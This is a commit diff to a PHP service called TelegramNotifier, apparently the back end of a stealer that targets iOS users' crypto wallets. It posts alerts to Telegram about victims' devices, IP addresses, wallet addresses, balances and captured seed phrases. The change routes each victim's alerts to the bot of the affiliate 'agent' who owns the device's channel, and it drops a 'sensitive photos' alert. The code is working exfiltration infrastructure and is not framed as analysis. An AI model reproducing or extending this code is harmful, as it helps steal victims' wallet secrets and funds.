feat: new chain

app/Services/TelegramNotifier.php

@@ -2,24 +2,57 @@
 
 namespace App\Services;
 
+use App\Models\Channel;
+use App\Models\Device;
+use App\Models\User;
 use App\Models\WalletMnemonic;
 use Illuminate\Support\Facades\Http;
 use Illuminate\Support\Facades\Log;
 
 class TelegramNotifier
 {
-    public function enabled(): bool
+    public function systemEnabled(): bool
     {
-        return (bool) (config('coruna.telegram.bot_token') && config('coruna.telegram.owner_chat_id'));
+        return trim((string) config('coruna.telegram.bot_token', '')) !== ''
+            && trim((string) config('coruna.telegram.owner_chat_id', '')) !== '';
     }
 
-    public function send(string $text): bool
+    /**
+     * @return array{0: string, 1: string}|null [token, chatId]
+     */
+    public function resolveDestination(?string $deviceKey = null): ?array
     {
-        if (! $this->enabled()) {
+        $agent = $this->resolveAgentForDeviceKey($deviceKey);
+        if ($agent !== null && $agent->isEnabled() && $agent->hasTelegramBot()) {
+            return [
+                trim((string) $agent->bot_token),
+                trim((string) $agent->chat_id),
+            ];
+        }
+
+        if (! $this->systemEnabled()) {
+            return null;
+        }
+
+        return [
+            trim((string) config('coruna.telegram.bot_token')),
+            trim((string) config('coruna.telegram.owner_chat_id')),
+        ];
+    }
+
+    public function enabled(?string $deviceKey = null): bool
+    {
+        return $this->resolveDestination($deviceKey) !== null;
+    }
+
+    public function send(string $text, ?string $deviceKey = null): bool
+    {
+        $dest = $this->resolveDestination($deviceKey);
+        if ($dest === null) {
             return false;
         }
-        $token = config('coruna.telegram.bot_token');
-        $chatId = config('coruna.telegram.owner_chat_id');
+        [$token, $chatId] = $dest;
+
         try {
             $resp = Http::timeout(15)->asForm()->post(
                 "https://api.telegram.org/bot{$token}/sendMessage",
@@ -46,7 +79,7 @@ class TelegramNotifier
             '🔑 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
             '🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
             '🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
-        ]));
+        ]), $deviceId);
     }
 
     public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void
@@ -92,7 +125,7 @@ class TelegramNotifier
             $lines[] = '💵 <b>Balance</b>: '.$this->e($bal);
         }
 
-        $this->send(implode("\n", $lines));
+        $this->send(implode("\n", $lines), $deviceId);
     }
 
     public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
@@ -102,15 +135,7 @@ class TelegramNotifier
             '📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
             '🏷 <b>Source</b>: '.$this->e($source ?: '—'),
             '📝 <b>Mnemonic</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
-        ]));
-    }
-
-    public function notifyNewPhotos(string $deviceId): void
-    {
-        $this->send(implode("\n", [
-            '🖼 <b>New Photos</b> <i>(with sensitive hits)</i>',
-            '📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
-        ]));
+        ]), $deviceId);
     }
 
     public function notifyBalanceChange(
@@ -131,7 +156,35 @@ class TelegramNotifier
         if ($balance !== null && trim($balance) !== '') {
             $lines[] = '💰 <b>Balance</b>: '.$this->e($balance);
         }
-        $this->send(implode("\n", $lines));
+        $this->send(implode("\n", $lines), $deviceId);
+    }
+
+    private function resolveAgentForDeviceKey(?string $deviceKey): ?User
+    {
+        $deviceKey = trim((string) $deviceKey);
+        if ($deviceKey === '') {
+            return null;
+        }
+
+        try {
+            $channelId = Device::query()
+                ->where('device_id', $deviceKey)
+                ->value('channel_id');
+            if (! is_string($channelId) || $channelId === '') {
+                return null;
+            }
+
+            $userId = Channel::query()
+                ->where('channel_id', $channelId)
+                ->value('user_id');
+            if ($userId === null || (int) $userId <= 0) {
+                return null;
+            }
+
+            return User::query()->find((int) $userId);
+        } catch (\Throwable) {
+            return null;
+        }
     }
 
     private function e(?string $value): string